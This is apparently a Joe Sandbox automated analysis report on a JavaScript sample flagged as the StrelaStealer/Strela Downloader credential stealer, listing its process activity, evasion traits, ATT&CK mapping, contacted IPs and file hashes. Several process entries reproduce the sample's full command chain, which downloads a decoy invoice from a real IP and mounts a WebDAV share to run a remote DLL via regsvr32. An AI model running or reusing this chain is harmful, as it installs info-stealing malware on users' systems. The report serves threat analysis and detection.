Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3943			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5920			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2288	Thread sleep count: 3943 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2288	Thread sleep count: 5920 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4080	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6664	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6820	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: net.exe, 00000007.00000002.1540095394.000001E2BDE0B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWS
Source: net.exe, 00000007.00000002.1540095394.000001E2BDDA8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1540095394.000001E2BDE0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2746714967.000001D8E1854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2744217106.000001D8DC22B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\154993128028088.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\154993128028088.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\154993128028088.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\154993128028088.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\154993128028088.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
22742867259569153.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer
22742867259569153.js	7%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/tem3	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/0	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000003.1444982511.000001647A529000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1444932690.000001647A566000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2746589784.000001D8E1800000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1556243735.000001D8E16A0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/0	net.exe, 00000007.00000002.1540095394.000001E2BDDA8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1540095394.000001E2BDDA8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1540095394.000001E2BDDDC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1540095394.000001E2BDDFE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/tem3	net.exe, 00000007.00000002.1540095394.000001E2BDDA8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588828
Start date and time:	2025-01-11 06:02:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	22742867259569153.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@28/61@0/3
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 84.201.210.20, 23.209.209.135, 184.28.90.27, 2.16.168.107, 2.16.168.105, 23.200.0.21, 23.200.0.33, 192.168.2.8, 2.22.50.144, 2.22.50.131, 20.109.210.53, 52.22.41.97, 23.206.229.226, 104.126.112.182
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, d.4.1.9.1.6.7.1.0.0.0.0.0.0.0.0.1.0.0.9.0.0.1.f.1.1.1.0.1.0.a.2.ip6.arpa, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, www.bing.com, fs.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
00:03:11	API Interceptor	38x Sleep call for process: powershell.exe modified
00:03:17	API Interceptor	1x Sleep call for process: net.exe modified
00:03:19	API Interceptor	2x Sleep call for process: svchost.exe modified
00:03:26	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	183159621374924598.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16001220953190821144.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1003135002549521218.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11234261403012723904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	8708187442773418429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20314304422672320911.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19726179161917216961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	183262889860027833.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22736232701915520651.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2612377921588116147.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	183159621374924598.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16001220953190821144.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1003135002549521218.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11234261403012723904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	8708187442773418429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20314304422672320911.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19726179161917216961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	183262889860027833.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.802193193998398
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAR:RJE+Lfki1GjHwU/+vVhWqpk
MD5:	038F039CE3BD8B55FB81698C5718C8C9
SHA1:	9917B1D06E57E3099CF24E98D9D760F984AFAA94
SHA-256:	D369CD19D8562CC58C33074DA796D9C6BD7762CA1A522BEA435E014E1E9B76F7
SHA-512:	1768C044D2183F4454206E5F17A6419EB9FCF083E59D9144644CEA5D0E3BC60F5AB5B0A58770D4D10F148DD67A75E3A630ED1E6B40AD977649710E2710C21D16
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x47201ba1, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9432931853384547
Encrypted:	false
SSDEEP:	1536:TSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:TazaHvxXy2V2UR
MD5:	9A62E2DC62705AFA8CA77FDABAF84E3F
SHA1:	607E2440F83374B71886B764F1902C0094C90392
SHA-256:	2C524405CB2B80EB20D5AAB5C3D61E1A690002EBF29A2F5EA05E0C20071FC09B
